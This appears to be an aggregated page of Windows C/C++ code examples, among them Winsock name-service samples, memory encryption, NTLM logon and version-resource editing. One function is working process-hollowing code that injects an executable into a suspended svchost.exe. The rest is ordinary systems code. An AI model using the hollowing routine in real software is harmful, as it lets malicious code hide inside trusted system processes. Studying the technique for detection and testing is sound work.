		resource = ResOpen(filePath);

		UpdateStringVersion(resource, filePath, FILEDESC_QUERY, fileDescription);

		ResClose(resource);

		SAFE_FREE(fileDescription);
	}

	if (replaceInternalName && validFilePath)
	{
		resource = ResOpen(filePath);

		UpdateStringVersion(resource, filePath, INTERNALNAME_QUERY, internalName);

		ResClose(resource);

		SAFE_FREE(internalName);
	}

	if (replaceClopy && validFilePath)
	{
		resource = ResOpen(filePath);

		UpdateStringVersion(resource, filePath, CLOPY_QUERY, clopyright);

		ResClose(resource);

		SAFE_FREE(clopyright);
	}

	if (replaceOriginalName && validFilePath)
	{
		resource = ResOpen(filePath);

		UpdateStringVersion(resource, filePath, ORIGINALFILENAME_QUERY, originalName);

		ResClose(resource);

		SAFE_FREE(originalName);
	}

	if (replaceProductName && validFilePath)
	{
		resource = ResOpen(filePath);

		UpdateStringVersion(resource, filePath, PRODUCTNAME_QUERY, productName);

		ResClose(resource);

		SAFE_FREE(productName);
	}

	if (replaceStringFileVersion && validFilePath)
	{
		resource = ResOpen(filePath);

		UpdateStringVersion(resource, filePath, FILEVERSION_QUERY, stringFileVersion);

		ResClose(resource);

		SAFE_FREE(stringFileVersion);
	}

	if (replaceStringProductVersion && validFilePath)
	{
		resource = ResOpen(filePath);

		UpdateStringVersion(resource, filePath, PRODUCTVER_QUERY, stringProductVersion);

		ResClose(resource);

		SAFE_FREE(stringProductVersion);
	}

	return EXIT_SUCCESS;
}
BOOL GetSetThreadContext_Injection()
{
#ifdef _WIN64
	return TRUE; //TODO implement this on x64
#else
	TCHAR lpApplicationName[] = _T("C:\\Windows\\System32\\svchost.exe");
	TCHAR lpApplicationName2[] = _T("C:\\masm32\\examples\\dialogs_later\\basic\\basicdlg.exe");
	BOOL bResult = FALSE;

	STARTUPINFO StartupInfo;
	PROCESS_INFORMATION ProcessInfo;

	PCONTEXT pContext = NULL;
	HANDLE hFile = INVALID_HANDLE_VALUE;

	SecureZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
	SecureZeroMemory(&ProcessInfo, sizeof(PPROCESS_INFORMATION));

	do { /* not a loop */

		// Create the hollowed process in suspended mode
		if (!CreateProcess(lpApplicationName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &StartupInfo, &ProcessInfo)) {
			print_last_error(_T("CreateProcess"));
			break;
		}

		// Allocate space for context structure	
		LPVOID pTargetImageBase = NULL;

		pContext = PCONTEXT(VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT, PAGE_READWRITE));
		if (pContext == NULL) {
			print_last_error(_T("VirtualAlloc"));
			break;
		}

		// Get the thread context of target
		pContext->ContextFlags = CONTEXT_FULL;
		if (!GetThreadContext(ProcessInfo.hThread, pContext)) {
			print_last_error(_T("GetThreadContext"));	
			break;
		}

		// Read the image base address of target
		ReadProcessMemory(ProcessInfo.hProcess, LPCVOID(pContext->Ebx + 8), pTargetImageBase, 4, NULL);

		// Opening source image
		hFile = CreateFile(lpApplicationName2, GENERIC_READ, NULL, NULL, OPEN_ALWAYS, NULL, NULL);
		if (hFile == INVALID_HANDLE_VALUE)
		{
			print_last_error(_T("CreateFile"));
			break;
		}

		// Reading the file
		DWORD dwSize = GetFileSize(hFile, 0);
		DWORD dwBytesRead;
		PBYTE pBuffer = static_cast<PBYTE>(MALLOC(dwSize));

		if (pBuffer == NULL) {
			print_last_error(_T("HeapAlloc"));
			break;
		}
		else {

			SecureZeroMemory(pBuffer, dwSize);

			ReadFile(hFile, pBuffer, dwSize, &dwBytesRead, 0);
			PIMAGE_SECTION_HEADER pImageSectionHeader;

			PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuffer;
			if (pDosHeader->e_magic == IMAGE_DOS_SIGNATURE)
			{
				PIMAGE_NT_HEADERS32 pNTHeaders = PIMAGE_NT_HEADERS(DWORD(pBuffer) + pDosHeader->e_lfanew);
				if (pNTHeaders->Signature == IMAGE_NT_SIGNATURE)
				{

					if (DWORD(pTargetImageBase) == pNTHeaders->OptionalHeader.ImageBase)
					{
						pNtUnmapViewOfSection NtUnmapViewOfSection;
						NtUnmapViewOfSection = (pNtUnmapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
						NtUnmapViewOfSection(ProcessInfo.hProcess, pTargetImageBase);
					}

					LPVOID pImageBase;

					pImageBase = VirtualAllocEx(ProcessInfo.hProcess, LPVOID(pNTHeaders->OptionalHeader.ImageBase),
						pNTHeaders->OptionalHeader.SizeOfImage,
						MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

					if (pImageBase == NULL) {
						print_last_error(_T("VirtualAllocEx"));
						break;
					}
					else {

						WriteProcessMemory(ProcessInfo.hProcess, pImageBase, pBuffer, pNTHeaders->OptionalHeader.SizeOfHeaders, NULL);
						for (int Count = 0; Count < pNTHeaders->FileHeader.NumberOfSections; Count++)
						{
							pImageSectionHeader = PIMAGE_SECTION_HEADER(DWORD(pBuffer) + pDosHeader->e_lfanew + 248 + (Count * 40));
							WriteProcessMemory(ProcessInfo.hProcess, LPVOID(DWORD(pImageBase) + pImageSectionHeader->VirtualAddress),
								LPVOID(DWORD(pBuffer) + pImageSectionHeader->PointerToRawData), pImageSectionHeader->SizeOfRawData, NULL);
						}
						WriteProcessMemory(ProcessInfo.hProcess, LPVOID(pContext->Ebx + 8), LPVOID(&pNTHeaders->OptionalHeader.ImageBase), 4, NULL);
						pContext->Eax = DWORD(pImageBase) + pNTHeaders->OptionalHeader.AddressOfEntryPoint;
						SetThreadContext(ProcessInfo.hThread, LPCONTEXT(pContext));

						LONG dwRet;

						dwRet = ResumeThread(ProcessInfo.hThread);
						bResult = (dwRet != -1);
					}
				}
			}

			FREE(pBuffer);
		}

	} while (FALSE); /* not a loop */

	/* Cleanup */
	if (ProcessInfo.hThread) CloseHandle(ProcessInfo.hThread);
	if (ProcessInfo.hProcess) CloseHandle(ProcessInfo.hProcess);
	if (pContext) VirtualFree(pContext, 0, MEM_RELEASE);
	if (hFile != INVALID_HANDLE_VALUE) CloseHandle(hFile);

	return bResult;
#endif
}
//---------------------------------------------------------------------------
//  FUNCTION: void DoRnrClient (int nServiceType, char * pszServerName, DWORD dwNameSpace)
//
//  PURPOSE: Given the service type id "nServiceType", the server instance name
//           "pszServerName" and the name space to query "dwNameSpace", 
//           perform name resolution to the server and send a message to it.
//           If "nServiceType" is some known SAP Id such as Print Queue (3),
//           File Server (4), Job Server (5), Print Server (7), Archive
//           Server (9), Remote Bridge Server (36) or Advertising Print Server
//           (71), it will not send a message to the server.
//---------------------------------------------------------------------------
void DoRnrClient (int nServiceType, char * pszServerName, DWORD dwNameSpace)
{
    static GUID guid = SVCID_NETWARE ( nServiceType );  //use this as the class id
    WSAQUERYSET qs = {0};
    AFPROTOCOLS afp[g_nMaxNumOfSocks] = {{AF_IPX,  NSPROTO_IPX}, {AF_INET, IPPROTO_UDP}, {AF_INET6, IPPROTO_UDP}};
    HANDLE hLookup = NULL;
    DWORD dwResult = 0;
    static char szName[100] = {'\0'};
    BOOL fKnownSapId = FALSE;
    DWORD dwLength = 0;
    BYTE abyBuf[sizeof(WSAQUERYSET) + OFFSET] = {0}; // provide a sufficient large 
    // buffer for returned query set
    WSAQUERYSET * pQS = (WSAQUERYSETA*) abyBuf;
    HRESULT hRet;

    if(FAILED(hRet = StringCchCopy(szName,
                                   sizeof(szName)/sizeof(szName[0]),
                                   pszServerName
                                   )))
    {
        printf("StringCchCopy failed: 0x%x\n",hRet);
        return;
    }
    
    SecureZeroMemory (&qs, sizeof (WSAQUERYSET));
    qs.dwSize = sizeof (WSAQUERYSET);
    qs.lpszServiceInstanceName = szName; 
    qs.lpServiceClassId = &guid;
    qs.dwNameSpace = dwNameSpace;
    qs.dwNumberOfProtocols = g_nMaxNumOfSocks; 
    qs.lpafpProtocols = afp; 

    SecureZeroMemory (abyBuf, sizeof (WSAQUERYSET) + OFFSET);
    dwLength = sizeof(WSAQUERYSET) + OFFSET;

    // some well known SAP name space services
    if (nServiceType == 3 || nServiceType == 4 || nServiceType == 5 ||
        nServiceType == 7 || nServiceType == 9 || nServiceType == 36 || nServiceType == 71)
        fKnownSapId = TRUE;

    if (WSALookupServiceBegin ( &qs,
                                LUP_RETURN_ADDR | LUP_RETURN_NAME,
                                &hLookup) == SOCKET_ERROR)
    {
        PrintError("WSALookupServiceBegin");
        return;
    }

    printf ("Performing Query for service (type, name) = (%d, %s) . . .\n\n", nServiceType, pszServerName);

    if (strcmp(pszServerName, "*") == 0)
    {   // enumerate all service instances
        for (;;)
        {
            dwResult = WSALookupServiceNext(hLookup,
                                            0,
                                            &dwLength,
                                            pQS);
            if (dwResult == SOCKET_ERROR)
            {
                if (WSAGetLastError() == WSAEFAULT)
                {
                    printf("WSALookupServiceNext Error: Oops, we need a larger buffer size of : %d Bytes\n", dwLength);
                }
                else
                {
                    PrintError("WSALookupServiceNext");
                }
                WSALookupServiceEnd (hLookup);
                return;
            }

            if (!dwResult)
            {
                for (DWORD i = 0; i < pQS->dwNumberOfCsAddrs; i++)
                {
                    SOCKADDR_STORAGE *mypt = (SOCKADDR_STORAGE *) pQS->lpcsaBuffer[i].RemoteAddr.lpSockaddr;
                    if (mypt)
                    {
                        // we have valid remote sockaddr
                        char temp[DEFAULT_STRING_LEN] = {'\0'};

                        printf ("Name[%d]: %30s", i, pQS->lpszServiceInstanceName);
                        GetSockAddrString (mypt, pQS->lpcsaBuffer[i].RemoteAddr.iSockaddrLength, temp, DEFAULT_STRING_LEN);
                        printf("%40s\n", temp);

                        if (! fKnownSapId)
                            ClientSend(&(pQS->lpcsaBuffer[i]));
                    }
                }

            }
        }
    }
    else
    {
        dwResult = WSALookupServiceNext(hLookup,
                                        0,
                                        &dwLength,
                                        pQS);

        if (dwResult == SOCKET_ERROR)
        {
            if (WSAGetLastError() == WSAEFAULT)
            {
                printf("WSALookupServiceNext Error: Oops, we need a larger buffer size of : %d Bytes\n", dwLength);
            }
            else
            {
                PrintError("WSALookupServiceNext");
            }
            WSALookupServiceEnd (hLookup);
            return;
        }

        if (!dwResult)
        {
            for (DWORD i = 0; i < pQS->dwNumberOfCsAddrs; i++)
            {
                SOCKADDR_STORAGE *mypt = (SOCKADDR_STORAGE *) pQS->lpcsaBuffer[i].RemoteAddr.lpSockaddr;
                if (mypt)
                {
                    // we have valid remote sockaddr
                    char temp[DEFAULT_STRING_LEN] = {'\0'};
                    printf ("Name[%d]: %30s", i, pQS->lpszServiceInstanceName);
                    GetSockAddrString (mypt, pQS->lpcsaBuffer[i].RemoteAddr.iSockaddrLength, temp, DEFAULT_STRING_LEN);
                    printf("%40s\n", temp);

                    if (! fKnownSapId)
                        ClientSend(&(pQS->lpcsaBuffer[i]));
                }
            }       
        }
        WSALookupServiceEnd (hLookup);
    }   
}
Example #11
0
BOOL CryptProtectMemory(LPVOID pData, DWORD cbData, DWORD dwFlags)
{
	BYTE* pCipherText;
	size_t cbOut, cbFinal;
	WINPR_CIPHER_CTX* enc = NULL;
	BYTE randomKey[256];
	WINPR_PROTECTED_MEMORY_BLOCK* pMemBlock;

	if (dwFlags != CRYPTPROTECTMEMORY_SAME_PROCESS)
		return FALSE;

	if (!g_ProtectedMemoryBlocks)
	{
		g_ProtectedMemoryBlocks = ListDictionary_New(TRUE);

		if (!g_ProtectedMemoryBlocks)
			return FALSE;
	}

	pMemBlock = (WINPR_PROTECTED_MEMORY_BLOCK*) calloc(1, sizeof(WINPR_PROTECTED_MEMORY_BLOCK));

	if (!pMemBlock)
		return FALSE;

	pMemBlock->pData = pData;
	pMemBlock->cbData = cbData;
	pMemBlock->dwFlags = dwFlags;

	winpr_RAND(pMemBlock->salt, 8);
	winpr_RAND(randomKey, sizeof(randomKey));

	winpr_openssl_BytesToKey(WINPR_CIPHER_AES_256_CBC, WINPR_MD_SHA1,
			pMemBlock->salt, randomKey, sizeof(randomKey), 4, pMemBlock->key, pMemBlock->iv);

	SecureZeroMemory(randomKey, sizeof(randomKey));

	cbOut = pMemBlock->cbData + 16 - 1;
	pCipherText = (BYTE*) malloc(cbOut);

	if (!pCipherText)
		goto out;

	if ((enc = winpr_Cipher_New(WINPR_CIPHER_AES_256_CBC, WINPR_ENCRYPT,
				    pMemBlock->key, pMemBlock->iv)) == NULL)
		goto out;
	if (!winpr_Cipher_Update(enc, pMemBlock->pData, pMemBlock->cbData, pCipherText, &cbOut))
		goto out;
	if (!winpr_Cipher_Final(enc, pCipherText + cbOut, &cbFinal))
		goto out;
	winpr_Cipher_Free(enc);

	CopyMemory(pMemBlock->pData, pCipherText, pMemBlock->cbData);
	free(pCipherText);

	return ListDictionary_Add(g_ProtectedMemoryBlocks, pData, pMemBlock);
out:
	free (pMemBlock);
	free (pCipherText);
	winpr_Cipher_Free(enc);

	return FALSE;
}
//---------------------------------------------------------------------------
//  FUNCTION: Advertise(char* pszServerName)
//
//  PURPOSE:  Given the name of this service instance "pszServerName",
//            advertise this instance to the available name spaces.
//
//  RETURNS:
//    TRUE if succeed otherwise FALSE
//
//---------------------------------------------------------------------------
BOOL Advertise(char* pszServerName)
{
    int nRet = 0;
    int i=0;              // number of socket created           
    int nNumOfCSAddr = 0; // number of bound socket addresses 

    // Advertizing

    // Set up the WSAQuery data
    SecureZeroMemory(&g_QS,sizeof(WSAQUERYSET));
    g_QS.dwSize = sizeof(WSAQUERYSET);
    g_QS.lpszServiceInstanceName = (LPSTR)pszServerName; // service instance name
    g_QS.lpServiceClassId = &g_MyGuid; // associated service class id
    g_QS.dwNameSpace = NS_ALL;         // advertise to all name spaces
    g_QS.lpNSProviderId = NULL;
    g_QS.lpcsaBuffer = g_aCSAddr;      // our bound socket addresses
    g_QS.lpBlob = NULL;


    // Set up the g_aCSAddr data
    if (g_fNtds)
    {
        SOCKET_ADDRESS_LIST *slist=NULL;
        struct addrinfo *res=NULL,
        *resptr=NULL,
        hints;
        char            *addrbuf=NULL;
        DWORD            dwBytes=0;

        SecureZeroMemory(&hints,sizeof(hints));

        hints.ai_flags = AI_PASSIVE;
        hints.ai_socktype = SOCK_DGRAM;
        hints.ai_protocol = IPPROTO_UDP;

        nRet = getaddrinfo(NULL, "0", &hints, &res);
        if ((nRet != 0) || (res == NULL))
        {
            return FALSE;
        }

        resptr = res;
        while (resptr)
        {
            g_aSock[i] = socket(resptr->ai_family, resptr->ai_socktype, resptr->ai_protocol);
            if (g_aSock[i] == INVALID_SOCKET)
            {
                printf("socket error %d\n", WSAGetLastError());
                freeaddrinfo(res);
                return FALSE;
            }

            // bind to local host ip addresses and let system to assign a port number
            nRet = bind ( g_aSock[i], resptr->ai_addr, (int)resptr->ai_addrlen);
            if ( SOCKET_ERROR == nRet )
            {
                printf("bind error %d\n", WSAGetLastError());
                freeaddrinfo(res);
                return FALSE;
            }
            int cb = sizeof(ss_in);
            if (getsockname(g_aSock[i], (SOCKADDR *) &ss_in, &cb) == SOCKET_ERROR)
            {
                printf("getsockname error %d\n", WSAGetLastError());
                freeaddrinfo(res);
                return FALSE;
            }

            nRet = WSAIoctl(g_aSock[i], SIO_ADDRESS_LIST_QUERY, NULL, 0, NULL, 0, &dwBytes, NULL, NULL);
            if (nRet == SOCKET_ERROR)
            {
                addrbuf = (char *)HeapAlloc(GetProcessHeap(), 0, dwBytes);
                if (addrbuf == NULL)
                {
                    freeaddrinfo(res);
                    return FALSE;
                }
                nRet = WSAIoctl(g_aSock[i], SIO_ADDRESS_LIST_QUERY, NULL, 0, addrbuf, dwBytes, &dwBytes, NULL, NULL);
                if (nRet == SOCKET_ERROR)
                {
                    printf("WSAIoctl failed: %d\n", WSAGetLastError());
                    HeapFree(GetProcessHeap(), 0, addrbuf);
                    freeaddrinfo(res);
                    return FALSE;
                }
            }
            else
            {
                printf("WSAIoctl should have failed!\n");
                freeaddrinfo(res);
                return FALSE;
            }

            slist = (SOCKET_ADDRESS_LIST *)addrbuf;

            if (resptr->ai_family == AF_INET)
                printf("IPv4 addresses bound...\n");
            else if (resptr->ai_family == AF_INET6)
                printf("IPv6 addresses bound...\n");
            else
                printf("Unknown address family addresses bound...\n");

            for (int j = 0; j < slist->iAddressCount ; j++)
            {
                if (j >= g_nMaxNumOfCSAddr)
                {
                    printf("Max. number of socket address (%d) reached. We will not advertise extra ones\n", g_nMaxNumOfCSAddr);
                    break;
                }

                // Copy the address over
                memcpy(&g_aSockAddr[j], slist->Address[j].lpSockaddr, slist->Address[j].iSockaddrLength);

                // Set the port number our socket is actually bound to
                SetIpPort(&g_aSockAddr[j],&ss_in);

                char temp[128] = {'\0'};
                GetSockAddrString (&g_aSockAddr[j], slist->Address[j].iSockaddrLength, temp, 128);
                printf("Address %40s\n", temp);

                g_aCSAddr[j].iSocketType = SOCK_DGRAM;
                g_aCSAddr[j].iProtocol = IPPROTO_UDP;
                g_aCSAddr[j].LocalAddr.lpSockaddr = (struct sockaddr *)&g_aSockAddr[j]; 
                g_aCSAddr[j].LocalAddr.iSockaddrLength = slist->Address[j].iSockaddrLength;
                g_aCSAddr[j].RemoteAddr.lpSockaddr = (struct sockaddr *)&g_aSockAddr[j];
                g_aCSAddr[j].RemoteAddr.iSockaddrLength = slist->Address[j].iSockaddrLength;

                nNumOfCSAddr++; // increase the number SOCKADDR buffer used
            }
            i++; // increase the number of socket created

            // Go to the next address
            resptr = resptr->ai_next;

            // Free the address buffer 
            HeapFree(GetProcessHeap(), 0, addrbuf);
            addrbuf = NULL;
        }
        freeaddrinfo(res);
    }

    if (g_fSap && (nNumOfCSAddr < g_nMaxNumOfCSAddr))
    {
        // advertise into the NS_SAP name space if we still have enough
        // socket address buffer
        SecureZeroMemory(sa_ipx.sa_netnum,sizeof(sa_ipx.sa_netnum));
        SecureZeroMemory(sa_ipx.sa_nodenum,sizeof(sa_ipx.sa_nodenum));
        sa_ipx.sa_family = AF_IPX;
        sa_ipx.sa_socket = 0;

        g_aSock[i] = socket ( AF_IPX, SOCK_DGRAM, NSPROTO_IPX );
        if ( INVALID_SOCKET == g_aSock[i] )
        {
            printf("socket error %d\n", WSAGetLastError());
            return FALSE;
        }

        nRet = bind ( g_aSock[i], (SOCKADDR *) &sa_ipx, sizeof (sa_ipx) );
        if ( SOCKET_ERROR == nRet )
        {
            printf("bind error %d\n", WSAGetLastError());
            return FALSE;
        }

        //--------------Find out our bound ipx addresses------------
        int cb = 0;        // size variable
        int nAdapters = 0; // number of adapters bound with IPX

        // get the number of adapters
        cb = sizeof(nAdapters);
        nRet = getsockopt(g_aSock[i], NSPROTO_IPX, IPX_MAX_ADAPTER_NUM, (char *) &nAdapters, &cb);
        if (nRet == SOCKET_ERROR)
        {
            printf("getsockopt error %d\n", WSAGetLastError());
            return FALSE;
        }


        SOCKADDR_IPX* pSaIpx = NULL;           // a pointer to our current SOCKADDR buffer
        printf("IPX addresses bound...\n");

        for (int nIdx = 0; nIdx < nAdapters; nIdx++)
        {
            if (nNumOfCSAddr >= g_nMaxNumOfCSAddr)
            {
                printf("Max. number of socket address (%d) reached. We will not advertise extra ones\n", g_nMaxNumOfCSAddr);
                break;
            }
            // get the buffer for this SOCKADDR
            pSaIpx = (SOCKADDR_IPX *) &g_aSockAddr[nNumOfCSAddr];

            if (GetBoundIpxAddr(g_aSock[i],  pSaIpx, nIdx) == FALSE)
            {
                printf("No valid bound IPX address at adapter index %d\n", nIdx);
                // since this link is not available, nNumOfCSAddr will reuse the current SOCKADDR buffer
                continue;
            }

            char temp[DEFAULT_STRING_LEN] = {'\0'};
            GetSockAddrString (&g_aSockAddr[nNumOfCSAddr], sizeof(SOCKADDR_IPX), temp, DEFAULT_STRING_LEN);
            printf("%40s\n", temp);

            g_aCSAddr[nNumOfCSAddr].iSocketType = SOCK_DGRAM;
            g_aCSAddr[nNumOfCSAddr].iProtocol = NSPROTO_IPX;
            g_aCSAddr[nNumOfCSAddr].LocalAddr.lpSockaddr = (struct sockaddr *)&g_aSockAddr[nNumOfCSAddr]; 
            g_aCSAddr[nNumOfCSAddr].LocalAddr.iSockaddrLength = sizeof(sa_ipx);
            g_aCSAddr[nNumOfCSAddr].RemoteAddr.lpSockaddr = (struct sockaddr *)&g_aSockAddr[nNumOfCSAddr];
            g_aCSAddr[nNumOfCSAddr].RemoteAddr.iSockaddrLength = sizeof(sa_ipx);

            nNumOfCSAddr++;
        }
        i++; // increase the number of socket created

        // Note: If g_fNtds is TRUE, this ipx address will be
        //       available from the NTDS name space too.

    }

    // update counters
    g_QS.dwNumberOfCsAddrs = nNumOfCSAddr;
    g_nNumOfUsedSocks = i;

    // Call WSASetService
    printf("Advertise server of instance name: %s ...\n", pszServerName);
    nRet = WSASetService(&g_QS, RNRSERVICE_REGISTER, 0L);
    if (nRet == SOCKET_ERROR)
    {
        printf("WSASetService error %d\n", WSAGetLastError());
        return FALSE;
    }
    printf("Wait for client talking to me, hit Ctrl-C to terminate...\n");
    return TRUE;

}
//---------------------------------------------------------------------------
//  FUNCTION: InstallClass(int nServerType)
//
//  PURPOSE:  Install a service class in NTDS and SAP name spaces if they are
//            available on this machine. "nServerType" is a numerical number used 
//            to generate a service class id by using SVCID_NETWARE macro as shown in 
//            the main program.
//            The name of this service class is obtained by composing "nServerType" 
//            with the string "TypeId.
//
//  RETURNS:
//    TRUE if succeed otherwise FALSE
//
//---------------------------------------------------------------------------
BOOL InstallClass(int nServerType)
{
    WSASERVICECLASSINFO sci;
    WSANSCLASSINFO  aNameSpaceClassInfo[4] = {{0},{0},{0},{0}};
    DWORD           dwSapId = nServerType;
    DWORD           dwZero = 0;
    TCHAR           szServiceClassName[DEFAULT_STRING_LEN] = {'\0'};
    int             nRet = 0;
    DWORD           dwUdpPort = 0; // we use dynamic generated port number
    HRESULT hRet;

    if (FAILED(hRet = StringCchPrintf(szServiceClassName,
                                      sizeof(szServiceClassName)/sizeof(szServiceClassName[0]),
                                      "TypeId %d",
                                      nServerType
                                     )))
    {
        printf("StringCchPrintf failed: 0x%x\n",hRet);
        return FALSE;
    }

    printf("Installing ServiceClassName: %s\n", szServiceClassName);


    BOOL fSap  = FALSE;
    BOOL fNtds = FALSE;

    // see what name space providers are available
    if (!CheckAvailableNameSpaceProviders(fSap, fNtds))
        return FALSE;

    // save a copy
    g_fSap = fSap;
    g_fNtds = fNtds;

    // our total number of interested name space providers
    if (fSap)
        g_dwNumNs++;
    if (fNtds)
        g_dwNumNs++;

    // setup Service Class info
    SecureZeroMemory(&sci,sizeof(sci));

    sci.lpServiceClassId = (LPGUID) &g_MyGuid;
    sci.lpszServiceClassName = (LPSTR) szServiceClassName;
    sci.dwCount = g_dwNumNs * 2; // each name space has 2 NameSpaceClassInfo
    sci.lpClassInfos = aNameSpaceClassInfo;

    SecureZeroMemory(aNameSpaceClassInfo,sizeof(WSANSCLASSINFO)*4);

    DWORD i =0; // index to array of WSANSCLASSINFO

    // common service class registration in NTDS and SAP name spaces
    if (fNtds)
    {
        // NTDS setup
        printf("NTDS name space class installation\n");

        aNameSpaceClassInfo[i].lpszName = SERVICE_TYPE_VALUE_CONN;
        aNameSpaceClassInfo[i].dwNameSpace = NS_NTDS;
        aNameSpaceClassInfo[i].dwValueType = REG_DWORD;
        aNameSpaceClassInfo[i].dwValueSize = sizeof(DWORD);
        aNameSpaceClassInfo[i].lpValue = &dwZero;
        i++; // increment of the index

        aNameSpaceClassInfo[i].lpszName = SERVICE_TYPE_VALUE_UDPPORT;
        aNameSpaceClassInfo[i].dwNameSpace = NS_NTDS;
        aNameSpaceClassInfo[i].dwValueType = REG_DWORD;
        aNameSpaceClassInfo[i].dwValueSize = sizeof(DWORD);
        aNameSpaceClassInfo[i].lpValue = &dwUdpPort;
        i++; // increment of the index
    }

    if (fSap)
    {
        // SAP setup 
        printf("SAP name space class installation\n");

        aNameSpaceClassInfo[i].lpszName = SERVICE_TYPE_VALUE_CONN;
        aNameSpaceClassInfo[i].dwNameSpace = NS_SAP;
        aNameSpaceClassInfo[i].dwValueType = REG_DWORD;
        aNameSpaceClassInfo[i].dwValueSize = sizeof(DWORD);
        aNameSpaceClassInfo[i].lpValue = &dwZero;
        i++; // increment of the index

        aNameSpaceClassInfo[i].lpszName = SERVICE_TYPE_VALUE_SAPID;
        aNameSpaceClassInfo[i].dwNameSpace = NS_SAP;
        aNameSpaceClassInfo[i].dwValueType = REG_DWORD;
        aNameSpaceClassInfo[i].dwValueSize = sizeof(DWORD);
        aNameSpaceClassInfo[i].lpValue = &dwSapId;
    }

    // Install the service class information
    DumpServiceClassInfo(&sci);
    nRet = WSAInstallServiceClass(&sci);
    if (nRet == SOCKET_ERROR)
    {
        printf("WSAInstallServiceClass error %d\n", WSAGetLastError());
        return FALSE;
    }
    return TRUE;
}
Example #14
0
BOOL WINAPI SSPLogonUser(LPTSTR szDomain, 
						 LPTSTR szUser, 
						 LPTSTR szPassword, 
						 PSECURITY_DESCRIPTOR psdSD,
						 PBOOL isAuthenticated,
						 PDWORD pdwAccessGranted)	// returns bitmask with accessrights
{
	AUTH_SEQ    asServer   = {0};
	AUTH_SEQ    asClient   = {0};
	BOOL        fDone      = FALSE;
	BOOL        fResult    = FALSE;
	DWORD       cbOut      = 0;
	DWORD       cbIn       = 0;
	DWORD       cbMaxToken = 0;
	PVOID       pClientBuf = NULL;
	PVOID       pServerBuf = NULL;
	PSecPkgInfo pSPI       = NULL;
	HMODULE     hModule    = NULL;
	SEC_WINNT_AUTH_IDENTITY ai;

	__try {
		
		hModule = LoadSecurityDll();
		if (!hModule)
			__leave;
		
		// Get max token size
		fn._QuerySecurityPackageInfo(_T("NTLM"), &pSPI);
		cbMaxToken = pSPI->cbMaxToken;
		
		// Allocate buffers for client and server messages
		pClientBuf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cbMaxToken);
		pServerBuf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cbMaxToken);
		
		// Initialize auth identity structure
		// Marscha 2004: Seems to work with szDomain = "" or even szDomain = "anyDomain", 
		// but I found no MS documentation for this 'feature'.
		ZeroMemory(&ai, sizeof(ai));
#if defined(UNICODE) || defined(_UNICODE)
		ai.Domain = (unsigned short *)szDomain;
		ai.DomainLength = lstrlen(szDomain);
		ai.User = (unsigned short *)szUser;
		ai.UserLength = lstrlen(szUser);
		ai.Password = (unsigned short *)szPassword;
		ai.PasswordLength = lstrlen(szPassword);
		ai.Flags = SEC_WINNT_AUTH_IDENTITY_UNICODE;
#else      
		ai.Domain = (unsigned char *)szDomain;
		ai.DomainLength = lstrlen(szDomain);
		ai.User = (unsigned char *)szUser;
		ai.UserLength = lstrlen(szUser);
		ai.Password = (unsigned char *)szPassword;
		ai.PasswordLength = lstrlen(szPassword);
		ai.Flags = SEC_WINNT_AUTH_IDENTITY_ANSI;
#endif

		// Prepare client message (negotiate) .
		cbOut = cbMaxToken;
		if (!GenClientContext(&asClient, &ai, NULL, 0, pClientBuf, &cbOut, &fDone))
			__leave;
		
		// Prepare server message (challenge) .
		cbIn = cbOut;
		cbOut = cbMaxToken;
		if (!GenServerContext(&asServer, pClientBuf, cbIn, pServerBuf, &cbOut, 
            &fDone))
			__leave;
		// Most likely failure: AcceptServerContext fails with SEC_E_LOGON_DENIED
		// in the case of bad szUser or szPassword.
		// Unexpected Result: Logon will succeed if you pass in a bad szUser and 
		// the guest account is enabled in the specified domain.
		
		// Prepare client message (authenticate) .
		cbIn = cbOut;
		cbOut = cbMaxToken;
		if (!GenClientContext(&asClient, &ai, pServerBuf, cbIn, pClientBuf, &cbOut,
            &fDone))
			__leave;
		
		// Prepare server message (authentication) .
		cbIn = cbOut;
		cbOut = cbMaxToken;
		if (!GenServerContext(&asServer, pClientBuf, cbIn, pServerBuf, &cbOut, 
            &fDone))
			__leave;
		
		*isAuthenticated = TRUE;

		// Check authorization
		if (IsImpersonationAllowed()) {
			if (ImpersonateAndCheckAccess(&(asServer.hctxt), psdSD, pdwAccessGranted))
				fResult = TRUE;
		} else {
			// Todo: Make alternative access check
			if (ImpersonateAndCheckAccess(&(asServer.hctxt), psdSD, pdwAccessGranted))
				fResult = TRUE;
		}

	} __finally {

		// Clean up resources
		if (pSPI)
			fn._FreeContextBuffer(pSPI);
		
		if (asClient.fHaveCtxtHandle)
			fn._DeleteSecurityContext(&asClient.hctxt);
		
		if (asClient.fHaveCredHandle)
			fn._FreeCredentialsHandle(&asClient.hcred);
		
		if (asServer.fHaveCtxtHandle)
			fn._DeleteSecurityContext(&asServer.hctxt);
		
		if (asServer.fHaveCredHandle)
			fn._FreeCredentialsHandle(&asServer.hcred);
		
		if (hModule)
			UnloadSecurityDll(hModule);
		
		HeapFree(GetProcessHeap(), 0, pClientBuf);
		HeapFree(GetProcessHeap(), 0, pServerBuf);
		SecureZeroMemory(&ai, sizeof(ai));
	}

	return fResult;
}
Example #15
0
bool
GMPLoaderImpl::Load(const char* aLibPath,
                    uint32_t aLibPathLen,
                    char* aOriginSalt,
                    uint32_t aOriginSaltLen,
                    const GMPPlatformAPI* aPlatformAPI)
{
  std::string nodeId;
#ifdef HASH_NODE_ID_WITH_DEVICE_ID
  if (aOriginSaltLen > 0) {
    string16 deviceId;
    int volumeId;
    if (!rlz_lib::GetRawMachineId(&deviceId, &volumeId)) {
      return false;
    }

    SHA256Context ctx;
    SHA256_Begin(&ctx);
    SHA256_Update(&ctx, (const uint8_t*)aOriginSalt, aOriginSaltLen);
    SHA256_Update(&ctx, (const uint8_t*)deviceId.c_str(), deviceId.size() * sizeof(string16::value_type));
    SHA256_Update(&ctx, (const uint8_t*)&volumeId, sizeof(int));
    uint8_t digest[SHA256_LENGTH] = {0};
    unsigned int digestLen = 0;
    SHA256_End(&ctx, digest, &digestLen, SHA256_LENGTH);

    // Overwrite all data involved in calculation as it could potentially
